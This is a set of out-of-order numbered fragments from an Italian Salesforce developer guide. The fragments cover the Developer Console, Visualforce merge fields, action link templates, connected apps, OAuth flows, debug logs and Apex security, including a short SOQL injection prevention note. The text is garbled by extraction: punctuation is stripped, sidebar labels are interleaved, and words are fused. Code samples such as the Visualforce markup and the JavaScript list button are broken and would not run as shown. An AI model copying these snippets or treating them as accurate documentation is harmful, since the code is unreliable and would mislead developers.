299. iminare un record selezionare la riga relativa e fare clic su Delete Row Elimina riga VEDERE ANCHE Query Editor Esecuzione di una query SOQL o di una ricerca SOSL Recupero dei piani di esecuzione delle query Componenti Apex Visualforce e Lightning Uso del codice Questa sezione contiene informazioni sugli strumenti e le tecniche utilizzabili per apportare modifiche all organizzazione mediante il codice e Utilizzo dell editor per Visualforce e Source Code Editor Editor codice sorgente e Object Inspector Controllo oggetti e Descrizione delle variabili globali e Valori validi per la variabile globale sAction e Panoramica su Apex Code e Visualforce e Definizione di servizi di email e Panoramica sulle etichette personalizzate Ottimizzazione di Salesforce con il codice Utilizzo dell editor per Visualforce o Apex Durante la modifica di Visualforce o Apex nel pi di pagina della modalit sviluppo di Visualforce o da Imposta disponibile un editor che offre le seguenti funzionalit Evidenziazione della sintassi L editor applica automaticamente l evidenziazione della sintassi per le parole chiave e tutte le funzioni e operatori Ricerca La ricerca consente di cercare il testo nella pagina classe o trigger attuali Per utilizzare la ricerca immettere una stringa nella casella di testo Search e fare clic su find next e Per sostituire una stringa di ricerca trovata con un altra stringa immettere la n
300. imizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 21 Esempio di Il seguente S Control fa riferimento all azione standard per la creazione dei nuovi account nel campo di unione S Control Action Account New lt html gt lt body gt LINKTO Create a New Account Action Account New ObjectType Account lt body gt lt html gt Esempio di Visualforce lt apex outputLink value URLFOR Action Account New gt Create New Account lt apex outputLink gt Suggerimenti Questa variabile globale disponibile solo per pulsanti e link personalizzati S Control e per le pagine Visualforce Tutti gli oggetti supportano le azioni di base quali nuovo clona visualizza modi fica elenca ed elimina La variabile globale SAction fa riferimento anche ad azioni disponibili su molti oggetti standard valori disponibili nella propria organizzazione possono variare a seconda delle funzionalit abilitate Api Descrizione Un tipo di campo di unione globale da utilizzare quando si fa riferimento agli URL dell API Utilizzo 1 Selezionare il tipo di campo Api 2 Selezionare un campo di unione quale e S Api Enterprise Server URL xxx L endpoint WSDL SOAP della versione Enterprise Edition in cui xxx rappresenta la versione dell API Ad esempio Api Enterprise Server URL_ 140 il valore del campo di unione per la versione 14 0 dell API e
301. in una griglia Query Results Risultati della query modificabile e Le serie di test completate elencate nella scheda Tests Test vengono aperte in una visualizzazione di risultati dei test Per comprimere i riquadri non utilizzati utilizzare i pulsanti amp gt gt lt lt Per visualizzare e utilizzare temporaneamente un riquadro compresso farvi clic sopra Quando il cursore si sposta al di fuori del riquadro questo si comprime automaticamente Quando si passa a un area di lavoro diversa o si chiude la Console sviluppatore viene salvato lo stato delle schede e dei riquadri all interno delle schede nell area di lavoro corrente Se non stata creata un area di lavoro la configurazione viene salvata come area di lavoro predefinita Navigazione tra le schede Per spostarsi a sinistra e a destra fra le schede all interno dell area di lavoro fare clic sulla scheda appropriata o utilizzare le seguenti scelte rapide da tastiera e Sinistra CTRL Pag su e Destra CTRL Pag gi Navigazione nella cronologia delle visualizzazioni Per spostarsi in avanti e all indietro nella cronologia delle visualizzazioni fare clic sui pulsanti _ o utilizzare le seguenti scelte rapide da tastiera e Indietro CTRL e Avanti CTRL Facendo clic su _ _ o CTRL si passa alle schede visualizzate in precedenza nell ordine in cui sono state visualizzate Il pulsante diventa attivo solo mentre si sta visualizzando la propria cron
302. ink azioni e Utilizzare pi di una volta una variabile di binding in qualsiasi modello di link azioni associato allo stesso modello di gruppo dei link azioni e Eliminare variabili di binding Ottimizzazione di Salesforce con il codice Eliminazione di modelli di gruppo dei link azioni Quando si elimina un modello di gruppo dei link azioni si eliminano i modelli di link azioni associati e tutti i gruppi di link azioni istanziati a partire dai modelli gruppi dei link azioni eliminati non vengono pi visualizzati negli elementi feed ai quali sono stati associati 1 Dalmposta immettere Modelli di link azioni nellacasella Ricerca veloce quindi selezionare Modelli di link azioni 2 Pereliminare un modello di gruppo dei link azioni fare clic su Canc accanto al suo nome O Importante Quando si elimina un modello di gruppo dei link azioni si eliminano i modelli di link azioni associati e tutti i gruppi di link azioni istanziati a partire dal modello Il gruppo di link azioni viene eliminato da tutti gli elementi feed ai quali stato associato il che significa che i link azioni non vengono pi visualizzati in quei post nel feed 3 Pereliminare un modello di link azioni Fare clic sul nome del suo modello di gruppo dei link azioni principale b Fare clic sull ID modello di link azione per aprire la pagina dei dettagli del modello di link azione c Fare clic su Elimina O Importante non possibile eliminare un mo
303. inkGroupDefinitionInput new ConnectApi ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput templateId template id actionLinkGroupDefinitionInput templateBindings bindingInputs Instantiate the action link group definition ConnectApi ActionLinkGroupDefinition actionLinkGroupDefinition ConnectApi ActionLinks createActionLinkGroupDefinition Network getNetworkId actionLinkGroupDefinitionInput Considerazioni sulla progettazione di modelli Considerazioni per la progettazione di un modello e Stabilire l ora di scadenza del gruppo di link azioni Vedere Impostazione dell ora di scadenza del gruppo dei link azioni e Definire le variabili di binding nel modello e impostare i relativi valori quando si istanzia il gruppo Non memorizzare informazioni riservate nei modelli Utilizzare le variabili di binding per aggiungere le informazioni riservate al momento dell esecuzione Vedere Definizione delle variabili di binding e Stabilire chi pu vedere il link azione quando viene associato a un elemento feed Impostazione degli utenti che possono visualizzare il link azioni e Utilizzare le variabili di contesto nel modello per ottenere informazioni sul contesto di esecuzione del link azione Quando viene eseguito il link azione Salesforce compila i valori e li invia nella richiesta HTTP Vedere Utilizzo delle variabili di contesto Ottimizzazione di Salesforce con il codice Guida del
304. ion Apex disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition YANG O PZZAVA O N UTENTE Per caricare pacchetti e Carica pacchetti AppExchange Per visualizzare le dipendenze Apex e Apex autore Per visualizzare le dipendenze Visualforce e Modalit sviluppatore Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 139 Download di WSDL Salesforce e di certificati di autenticazione client possibile scaricare un documento WSDL Web Services Description Language per integrare le EDIZIONI applicazioni con Salesforce utilizzando l API Sono disponibili i WSDL seguenti Disponibile nelle versioni Salesforce Classic e e WSDLEnterprise Utilizzare questo documento WSDL per creare un integrazione per un unica Lightning Experience organizzazione WSDL Enterprise fortemente tipizzato ossia contiene oggetti e campi con tipi di dati specifici quali int e string l clienti che utilizzano il documento WSDL Enterprise Disponibile nelle versioni devono scaricarlo e riutilizzarlo ogniqualvolta la loro organizzazione esegue una modifica agli Professional Edition oggetti o campi personalizzati o quando desiderano utilizzare una versione diversa dell API Enterprise Edition Developer Edition e e WSDL Partner Utilizzare questo WSDL per creare un integrazione che funzioni in
305. ioni connesse del previsto Tali applicazioni connesse Salesforce vengono distribuite in due pacchetti gestiti uno per le applicazioni correlate a Salesforce1 e uno per le applicazioni non correlate a Salesforce1 L elenco delle applicazioni incluse pu cambiare con ogni rilascio Tuttavia per semplificare l amministrazione ogni pacchetto viene installato in modo asincrono nell organizzazione la prima volta che qualsiasi utente dell organizzazione accede a una di queste applicazioni Se si desidera installare o reinstallare in modo proattivo il pacchetto Salesforce1 per le applicazioni connesse possibile installarlo da AppExchange pacchetti vengono visualizzati in Imposta nell elenco Pacchetti installati Fare clic su ogni Nome pacchetto per visualizzarne l elenco dei componenti Di seguito sono elencati alcuni dei componenti del pacchetto di applicazioni connesse Salesforce O Nota l IDE Force com lo strumento di migrazione Force com Dataloader Bulk e Dataloader Partner sono applicazioni connesse wrapper che utilizzano l API SOAP per collegarsi a Salesforce anzich OAuth come altre applicazioni connesse Utilizzano tuttavia il framework delle applicazioni connesse per consentire o negare agli utenti l accesso alle applicazioni di un organizzazione Di seguito sono elencati alcuni dei componenti del pacchetto di applicazioni Salesforce1 e Chatter Per gestire queste applicazioni connesse installate da Imposta immettere App
306. ioni connesse possono essere create nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Le applicazioni connesse possono essere installate in tutte le versioni Dalla scheda Richieste provisioning utente possibile visualizzare i dettagli e gestire le approvazioni di una singola richiesta di provisioning utente dettagli della richiesta di provisioning utente includono informazioni sullo stato della richiesta e sullo stato di un approvazione se necessaria e configurata Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 197 Fare clic sul valore nel campo Nome di una richiesta di provisioning utente recente per visualizzare i dettagli inclusi quelli riportati di seguito Operazione Azione della richiesta corrente valori possibili sono i seguenti e Crea e Lettura Aggiorna Deactivate e Activate Freeze e Unfreeze e Reconcile confronta l account Salesforce con l account del sistema di terze parti e Linking modifica lo stato del link corrente Stato Il valore Stato cambia nel corso di un processo di riconciliazione per raccogliere e confrontare gli account utente sul sistema di terze parti con gli account utente Salesforce In genere quando viene creata per la prima volta una richiesta di provisioning utente ha il valore Stato impostato su Nuovo Quando inizia un processo di raccolta
307. ioni sull autorizzazione e Etichetta l etichetta dell autorizzazione che appare negli insiemi di autorizzazioni Nome il nome univoco utilizzato dall API e dai pacchetti gestiti e Descrizione sesi desidera una descrizione che spiega a quali funzioni l autorizzazione concede l accesso ad esempio Approva richieste di permesso e Applicazione connessa se si desidera l applicazione connessa associata all autorizzazione 4 Fare clic su Salva VEDERE ANCHE Autorizzazioni personalizzate ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Nelle organizzazioni Group Edition e Professional Edition non possibile creare o modificare autorizzazioni personalizzate ma possibile installarle come parte di un pacchetto gestito YANG O NPZAZAVA O N UTENTE Per creare le autorizzazioni personalizzate e Gestisci autorizzazioni personalizzate Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 257 Modifica delle autorizzazioni personalizzate possibile modificare le autorizzazioni personalizzate che forniscono agli utenti l accesso ad applicazioni o processi personalizzati 1 Dalmposta immettere Autorizzazioni personalizzate nellacasella Ricerca veloce quindi se
308. ipo di campo di unione globale da utilizzare quando si fa riferimento a un impostazione personale di tipo gerarchia Utilizzare Setup per accedere alle impostazioni personalizzate gerarchiche e ai relativi valori dei campi utilizzando la notazione del punto Ad esempio Setup App_Prefs __c Show Help Content c Le impostazioni personalizzate gerarchiche consentono i valori a tre livelli diversi 1 Organizzazione il valore predefinito per tutti 2 Profilo che consente di ignorare il valore Organizzazione 3 Utente che consente di ignorare i valori Organizzazione e Profilo Salesforce determina automaticamente il valore corretto per questo campo di impostazione personalizzata in base al contesto corrente dell utente in esecuzione Setup CustomSettingName c CustomFieldName c campi formula funzionano solo per le impostazioni personalizzate gerarchiche e non per le impostazioni personalizzate elenco Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 34 Esempio di Il seguente esempio illustra come visualizzare condizionalmente un messaggio della guida esteso per un Visualforce campo di input in base alla preferenza dell utente lt apex page gt lt apex inputField value usr Workstation Height__c gt lt apex outputPanel id helpWorkstationHeight rendered Setup App Prefs_c Show Help Content _ c gt Enter the height for your workstation in inches m
309. ire il titolo e il tema della pagina nel proprio codice HTML lt h2 class Request titleTheme title gt S Request titleText lt h2 gt Il seguente S Control chiama questo snippet mediante la funzione INCLUDE inviandogli i parametri per il titolo e il tema della pagina HTML che viene creata lt html gt lt head gt lt head gt lt body gt INCLUDE SControl Title_Snippet titleTheme modern titleText My Sample Title Insert your page specific content here lt body gt lt html gt Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 32 Suggerimenti Non utilizzare SRequest nelle pagine Visualforce per fare riferimento ai parametri di query Utilizzare CurrentPage Resource Descrizione Tipo di campo di unione globale da utilizzare quando si fa riferimento per nome a una risorsa statica esistente in una pagina Visualforce anche possibile utilizzare i campi di unione risorsa nelle funzioni URLFOR per fare riferimento a un file specifico in un archivio di risorse statiche Utilizzo Utilizzare SResource per fare riferimento a una risorsa statica esistente Il formato Resource nomerisorsa adesempio Resource TestImage Esempi di Visualforce componente Visualforce seguente fa riferimento a un file di immagine che era stato caricato come risorsa statica e denominato Test Image lt apex image url S Resource Tes
310. ire un attacco di SOQL injection evitare di utilizzare query SOQL dinamiche Utilizzare invece query statiche e variabili di collegamento binding L esempio di vulnerabilit descritto sopra pu essere riscritto utilizzando l SOQL statico come segue public class SOQLController public String name get return name set name value public PageReference query String queryName name queryResult SELECT Id FROM Contact WHERE IsDeleted false and Name like queryName return null Se necessario utilizzare l SOQL dinamico utilizzare il metodo escapeSingleQuotes per disinfettare l input fornito dall utente Questo metodo aggiunge il carattere di escape a tutte le virgolette singole nelle stringhe passate da un utente Il metodo assicura che tutte le virgolette singole vengano trattate come stringhe di inclusione e non come comandi di database Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 106 Controllo dell accesso ai dati La piattaforma Force com fa ampio uso delle regole di condivisione dei dati Ogni oggetto ha delle autorizzazioni e pu avere delle impostazioni di condivisione che permettono agli utenti di leggere creare modificare ed eliminare Queste impostazioni vengono applicate quando si utilizzano tutti i controller standard Quando si utilizza una classe Apex le autorizzazioni
311. isponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition singlePhoto con gli attributi relativi a immagine colore dei bordi e didascalia quindi utilizzare tali attributi per visualizzare l immagine nella pagina Dopo la definizione ogni pagina Visualforce della propria organizzazione pu sfruttare il componente personalizzato singlePhoto proprio come una pagina pu sfruttare i componenti standard quali lt apex dataTable gt o lt apex relatedList gt Diversamente dai modelli di pagina che consentono anch essi agli sviluppatori di riutilizzare il markup i componenti personalizzati offrono pi efficacia e flessibilit poich e componenti personalizzati consentono agli sviluppatori di definire gli attributi che possono essere passati nei singoli componenti Il valore di un attributo pu quindi cambiare il modo in cui il markup viene visualizzato nella pagina finale e la logica basata sul controller che viene eseguita per quell istanza del componente Questo comportamento diverso da quello dei modelli che non hanno un sistema per passare le informazioni dalla pagina che utilizza un modello alla definizione del modello stesso e Le descrizioni dei componenti personalizzati sono visualizzate nella finestra di dialogo di riferimento del componente
312. isposta non supportato invalid client id identificatore client non valido invalid request HTTPS richiesto invalid request necessario utilizzare HTTP POST invalid request parametro ambito non supportato invalid client credentials segreto client non valido invalid grant errore di autenticazione ad esempio utente inesistente o password non valida invalid grant limitazione IP o orari di accesso non validi inactive user utente inattivo inactive org organizzazione bloccata chiusa o sospesa Ottimizzazione di Salesforce con il codice rate limit exceeded numero di accessi superato Di seguito riportato un esempio di errore restituito Guida dell utente Integrazione di app con Salesforce 225 error invalid client credentials error description client secret invalid VEDERE ANCHE Autenticazione delle applicazioni con OAuth Flusso utente agente OAuth 2 0 Il flusso di autenticazione utente agente viene utilizzato dalle applicazioni client Consumatori che risiedono sul dispositivo dell utente Questo potrebbe essere implementato in un browser mediante un linguaggio di script come JavaScript oppure da un dispositivo mobile o da un applicazione desktop Questi consumatori non possono mantenere la riservatezza del segreto del client L autenticazione del consumatore si basa sulla prassi della stessa origine dell utente agente Al contrario di altri flussi di autenticazione l applicazio
313. istruzioni descritte nell argomento Configurazione delle impostazioni di SAML per Single Sign On Dopo avere configurato SAML possibile utilizzare la stessa configurazione per la federazione Web e API Dopo che stato configurato SAML per l organizzazione vengono forniti due URL i I URL di accesso Salesforce com utilizzare questo URL quando si esegue il Single Sign On per il Web e Endpoint token OAuth 2 0 utilizzare questo URL quando si scambia un asserzione SAML con un token di accesso da utilizzare con l API Quando vengono generate le asserzioni SAML da utilizzare con l endpoint del token l URL destinatario nell asserzione pu essere il valore d Endpoint token OAuth 2 0 odi URL di accesso Salesforce com Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 229 Scambiare un asserzione SAML con un token di accesso Per scambiare un asserzione SAML con un token di accesso il client deve ottenere o generare una risposta SAML valida e inviarla tramite POST all endpoint del token Il modo in cui ottenere questa risposta viene stabilito dal client Quando il client ottiene una risposta valida invia i seguenti parametri e grant type ilvalore deve essere assertion per questo flusso e assertion una risposta SAML codificata Base64 quindi codificata nell URL che verrebbe normalmente utilizzata per Single Sign On su Web e assertion type deveessere urn oasis names tc SAML
314. isualizzazione Visualforce INFO e superiori essuno Visualforce INFO e superiori Descrizione dell azione Flusso di INFO e avoro superiori Oggetto di operazione ID azione regola titolaree Flusso di INFO e scadenza avoro superiori Riepilogo delle azioni eseguite Flusso di INFO e avoro superiori Tipoditransizione EntityName NameField Flusso di INFO e Id e nome nodo processo avoro superiori EntityName NameField Id Flusso di INFO e avoro superiori EntityName NameField Id Flusso di INFO e avoro superiori Titolare e ID modello assegnatario Flusso di INFO e avoro superiori EntityName NameField Id nome della Flussodi INFO e regola ID della regola e tipo di trigger se la regola lavoro superiori rispetta i tipi di trigger Ottimizzazione di Salesforce con il codice Nome dell evento WF_C xj RITERIA END MAIL ALERT WE _ x WE xj IAIL SENT WE_ENQUEUE ACTIONS WE_ESCALATION ACTION GI WF E SCALATION RUL WF_ EVAL ENTRY _ CRITERIA WF_F al IELD UPDATE WE_FORMULA WF_HARD REJECT WE_N EXT APPROVER WF_NO_PROCESS_FOUND WF_O WF P WF RI UTBOUND MSG ROCESS_NOD GI EASSIGN RECORD WF R ESPONSE_ NOTIFY WE R ULE ENTRY ORDER WF R ULE EVAL BEGIN Campi o informazioni registrate con l evento Valore booleano che in
315. ita all esecuzione di Apex Code in un checkpoint senza modificare alcun codice Vedere Impostazione dei checkpoint in Apex Code Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 261 Durante la risoluzione dei problemi in fase di esecuzione potrebbero essere necessarie informazioni sullo stato di una variabile o sullo stato del database Si potrebbe anche voler creare una condizione specifica nella quale testare il proprio codice Utilizzare la Console sviluppatore per sovrapporre l Apex Code e le istruzioni SOQL che vengono eseguiti all esecuzione del codice in un checkpoint 1 Impostare i checkpoint ed eseguire il codice quindi accedere alla scheda Checkpoints Checkpoint 2 Selezionare un checkpoint e fare clic su Edit Properties Modifica propriet 3 Selezionare SOQL o Apex Code Per eseguire il codice diagnostico senza generare un heap dump in un checkpoint deselezionare Dump Heap Scarica heap Execution Action Properties x Dump Heap 7 Action Script Type None SOQL Apex Code Action Script select id name from contact Cancel OK 4 Immettere l istruzione SOQL o l Apex Code nella casella Action Script Script azione e fare clic su OK O Nota Non possibile fare riferimento a oggetti locali poich un blocco anonimo uno stack frame nuovo Fare riferimento a oggetti statici o creare nuovi oggetti Inoltre non possibile utilizzare le v
316. ition lt apex page gt lt flow interview name MyUnigueFlow finishLocation Page MyUniquePage gt lt apex page gt Per indirizzare gli utenti a un URL relativo nell ambito dell organizzazione Salesforce Impostare l attributo finishLocation su URLFOR relativeURL Questo esempio indirizza gli utenti alla pagina iniziale Salesforce lt apex page gt lt flow interview name MyUnigueFlow finishLocation URLFOR home home jsp gt lt apex page gt Altri esempi sono contenuti nella sezione Configurazione dell attributo finishLocation in un flusso della Guida per lo sviluppatore Visualforce VEDERE ANCHE Aggiunta di un flusso a una pagina Visualforce Guida per lo sviluppatore di Visualforce Rendering dei flussi con Visualforce Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Abilitazione e disabilitazione della chat per le pagine Visualforce Aggiungere un widget chat per le pagine Visualforce personalizzate 1 Dalmposta immettere Impostazioni chat nellacasella Ricerca veloce quind selezionare Impostazioni chat 2 Fareclic su Modifica 3 In Impostazioni Visualforce selezionare Consenti Deselezionare l opzione per disabilitare la chat per le pagine Visualforce personalizzate 4 Fare clic su Salva Per evitare che il widget chat venga visualizzato su una specifica pagina Visualforce eseguire una delle operazioni seguenti e Disattivare l intes
317. ition Performance Edition Unlimited Edition e Developer Edition ANOLON TAAA ON UTENTE Per clonare modificare o eliminare risorse statiche e Personalizza applicazione ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition TANG O NPZZAVA O N UTENTE Per creare e modificare risorse statiche e Personalizza applicazione Ottimizzazione di Salesforce con il codice Flussi in Visualforce Guida dell utente Componenti Apex Visualforce e Aggiunta di un flusso a una pagina Visualforce Per personalizzare l aspetto di un flusso o migliorarne la funzionalit possibile incorporarlo in una pagina Visualforce Se l organizzazione ha abili Visualiforce per fornire il flusso al sito al portal O Nota gli utenti possono eseguire solo i tato i flussi per siti e portali utilizzare la pagina e o alla comunit Force com flussi che hanno una versione attiva Se il flusso che si incorpora non ha una versione attiva gli utenti visualizzeranno un messaggio di errore Se il flusso incorporato contiene un elemen o sottoflusso il flusso chiamato e a cui fa riferimento l elemento sottoflusso deve avere una versione attiva Per aggiungere un flusso a una pagina Visualforce incorpo
318. iziale Quando la casella selezionata in tutti i link a questa pagina deve essere aggiunto un token CSRF ai parametri della stringa di query dell URL Questa casella di controllo disponibile per le pagine impostate sull API versione 28 0 e successive O Nota Nel rilascio Summer 13 l unico modo per aggiungere un token CSRF valido a un URL sovrascrivere il link di eliminazione standard di un oggetto con una pagina Visualforce Il link di eliminazione includer automaticamente il token richiesto Non selezionare questa casella per le pagine che non sovrascrivono il link di eliminazione standard di un oggetto 9 Nella casella di testo Markup Visualforce inserire il markup Visualforce per la pagina Ogni pagina pu contenere fino a 1 MB di testo corrispondente a circa 1 milione di caratteri 10 Fare clic su Impostazioni versione per specificare la versione di Visualforce e l API utilizzata con questa pagina possibile specificare anche le versioni di tutti i pacchetti gestiti installati nella propria organizzazione 11 Fare clic su Salva per salvare le modifiche e tornare alla pagina dei dettagli di Visualforce oppure fare clic su Salvataggio rapido per salvare le modifiche e continuare a modificare la pagina Per poter salvare la pagina necessario che il markup Visualforce sia valido Nota Sebbene il markup Visualforce sia modificabile in questa parte dello strumento Imposta per visualizzare i risultati delle modifiche ne
319. izzare e aggiornare le propriet di un applicazione connessa da Imposta immettere Applicazioni connesse nellacasella Ricerca veloce quindi selezionare l opzione di gestione delle applicazioni connesse Trovare l applicazione e fare clic su Modifica accanto a essa Per visualizzare le informazioni l utilizzo e i criteri per un applicazione connessa oppure per aggiungere attributi personalizzati fare clic sul nome dell applicazione ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Le applicazioni connesse possono essere create nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Le applicazioni connesse possono essere installate in tutte le versioni Nota le sessioni si aggiornano automaticamente tra ogni 15 minuti e 12 ore mentre un utente si trova nell applicazione in base all impostazione Valore timeout della sessione impostato per l organizzazione spesso questa attivit non viene rilevata dall utente Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 182 Applicazioni connesse installate da Salesforce Alcune applicazioni client Salesforce vengono implementate come applicazioni connesse e installate nell organizzazione ad esempio Salesforce1 o Salesforce per Outlook Perci possibile che nell elenco delle applicazioni installate siano presenti pi applicaz
320. jectType Role Limit c Fields Limit_ cC Il seguente pulsante elenco personalizzato fa riferimento all oggetto standard casi nel campo di unione S SObjectType Case REQUIRESCRIPT soap ajax 13 0 connection s var records GETRECORDIDS 0bjectType Sample var newRecords if records 0 null alert Please select at least one row else for var n 0 n lt records length nt var c new sforce SObject Case c id records n c Status New newRecords push c result sforce connection update newRecords window location reload Questo esempio verifica che un codice postale CAP di fatturazione sia valido cercando i primi cinque caratteri del valore in un oggetto personalizzato denominato Zip_Code__c che contiene un record per ogni codice postale valido negli Stati Uniti Se il CAP non viene trovato nell oggetto Zip_Code__c oppure se lo stato di fatturazione non soddisfa il valore State_Code__c corrispondente nell oggetto Zip_Code__c viene visualizzato un errore AND LEN BillingPostalCode gt 0 OR BillingCountry USA BillingCountry US VLOOKUP ObjectType Zip Code c Fields State Code cc ObjectType Zip Code c Fields Name LEFT BillingPostalCode 5 lt gt BillingState Ottimizzazione di Salesforce con il codice Esempio di Visualforce Suggerimenti Organization Descrizione Utilizzo Esempio di regola di convalida Esem
321. kpoints Only Mostra solo i checkpoint correnti Deselezionare questa opzione selezionata per impostazione predefinita per visualizzare tutti i checkpoint attualmente salvati per l organizzazione inclusi quelli generati di recente creati da altri utenti Clear Cancella Selezionare Log Panel Riquadro registro Checkpoint Results Panel Riquadro risultati checkpoint oppure Checkpoint Locations Posizioni checkpoint per cancellare i dati correnti dalla cache e aggiornare la visualizzazione Resume Updating Riprendi aggiornamento rinnova la connessione al server Questa opzione viene visualizzata soltanto se stato interrotto il polling in seguito a un periodo di inattivit Change Log Levels Cambia livelli di registrazione apre la finestra di dialogo delle impostazioni di registrazione per visualizzare i livelli di registrazione per le richieste future Vedere Livelli del registro debug O Nota Alcune opzioni nel menu Debug non sono accessibili finch non viene generato un registro VEDERE ANCHE Esecuzione di Apex Code anonimo Log Inspector Controllo registri Gestione delle prospettive nel Log Inspector Controllo registri Livelli del registro debug Query Editor possibile usare la scheda Query Editor Editor di query nella Console sviluppatore per eseguire una query SOQL o una ricerca SOSL sui dati della propria organizzazione Il riquadro della cronologia visualizza le ultime 10 query in modo da riutilizzarle rap
322. ku e Chiave API utilizza la chiave API Heroku DAO Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Professional Edition con API e Area di disegno Force com abilitate e Developer Edition YANG TO NPZAZAVA O N UTENTE Per visualizzare il Visualizzatore anteprima e Personalizza applicazione E Modifica tutti i dati Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 137 Campo Descrizione Nome utente Heroku Nome utente dell account utilizzato per accedere a Heroku L app Heroku viene creata nell ambito delle credenziali di questo utente O Nota Questo campo ha una lunghezza massima di 30 caratteri Se il nome utente Heroku supera i 30 caratteri sar necessario immettere la chiave API associata al proprio account Heroku nelcampo Chiave API Heroku Password Heroku Password dell account utilizzato per accedere a Heroku Chiave API Heroku Anzich utilizzare il nome utente e la password dell account Heroku possibile utilizzare la chiave API associata a tale account Questo valore visibile nella pagina Account personale di Heroku Nota Il nome utente e la password di Heroku non vengono archiviati in nessuna posizione vengono utilizzati soltanto durante la procedura di creazione dell app su una connessione protetta VEDERE ANC
323. l user acme com HasOptedOutOfEmail false insert c Test with a subject that does not contain email subject test env fromAddress user acme com unsubscribe Call the class and test it with the data in the test method unsubscribe unsubscribe0bj new unsubscribe unsubscribe0bj handleInboundEmail email Oggetto InboundEmail Un oggetto InboundEmail presenta i seguenti campi Nome Tipo binaryAttachments InboundEmail BinaryAttachment ccAddresses Stringal fromAddress Stringa fromName Stringa headers InboundEmail Header htmlBody Stringa htmlBodyIsTruncated Booleano env Descrizione Elenco degli allegati binari ricevuti insieme al messaggio email se presenti Gli esempi di allegati binari includono file di immagini audio applicazioni e video Elenco degli indirizzi in copia CC se presenti ndirizzo email visualizzato nel campo Da ome visualizzato nel campo Da se presente Elenco delle intestazioni RFC 2822 del messaggio email incluse e Ricevuto da e Intestazioni personalizzate e ID messaggio e Data Versione HTML del messaggio email se specificato dal mittente Indica se il testo del corpo HTML troncato true o meno false Ottimizzazione di Salesforce con il codice Nome Tipo inReplyTo Stringa messagelId Stringa plainTextBody Stringa plainTextBodyIsTruncated Booleano references Stringall replyTo Stringa subject Stringa
324. l Apex solo utilizzando la chiamata deploy Enterprise Edition dell API metadati Force com IDE o lo strumento di migrazione Force com Force com IDE e Performance Edition lo strumento di migrazione Force com sono risorse gratuite fornite da Salesforce a supporto Unlimited Edition dei propri utenti e partner ma non sono considerati parte dei Servizi ai fini dell Accordo Developer Edition e Quadro di Sottoscrizione di Salesforce Database com Edition veloce quindi selezionare Trigger Apex e fare clic sul nome del trigger anche possibile INDI LO NPZZAVA O N accedere ai dettagli del trigger dalle impostazioni di gestione oggetto di un oggetto UTENTE Dalla pagina dei dettagli dei trigger possibile effettuare una delle operazioni seguenti Per visualizzare i trigger Fare clic su Modifica per modificare i contenuti del trigger Apex e Apex autore O Nota Un icona indica che un pacchetto gestito installato contiene un trigger Apex Non possibile modificare o eliminare un trigger in un pacchetto gestito Fare clic su Elimina per eliminare il trigger dall organizzazione Fare clic su Mostra dipendenze per visualizzare gli elementi quali campi S Control o classi ai quali fa riferimento l Apex code contenuto nel trigger Fare clic su Scarica Apex per scaricare il testo del trigger II file viene salvato con il nome del trigger come nome file e con tipo di file trg La pagina dei dettagli del trigger visualizza le segu
325. l Programma di avvio app Fare clic sull applicazione personalizzata per visualizzare i componenti aggiunti VEDERE ANCHE Aggiunta di componenti Lightning a Salesforce1 Protezione del codice Protezione del codice Questa sezione contiene informazioni su come implementare la protezione nei codici e Protezione classe Apex e Impostazione della protezione delle pagine Visualforce dalla definizione di una pagina e Suggerimenti di protezione per lo sviluppo di Apex e Visualforce Protezione Apex Protezione delle classi Apex possibile specificare quali utenti possono eseguire i metodi in una determinata classe Apex di livello massimo in base al relativo profilo o a un insieme di autorizzazioni associato Queste autorizzazioni si applicano solo ai metodi delle classi Apex quali i metodi dei servizi Web o ai metodi utilizzati in un controller Visualforce personalizzato o in un estensione del controller applicata alla pagina Visualforce trigger vengono sempre attivati in caso di eventi trigger quali insert o update indipendentemente dalle autorizzazioni dell utente O Nota se nell organizzazione installato un pacchetto gestito possibile impostare la sicurezza solo per le classi Apex nel pacchetto che sono dichiarate global oppure per le classi che contengono metodi dichiarati come webService Gli utenti che hanno l autorizzazione Apex autore possono accedere a tutte le classi Apex nell organizzazione associata a prescinder
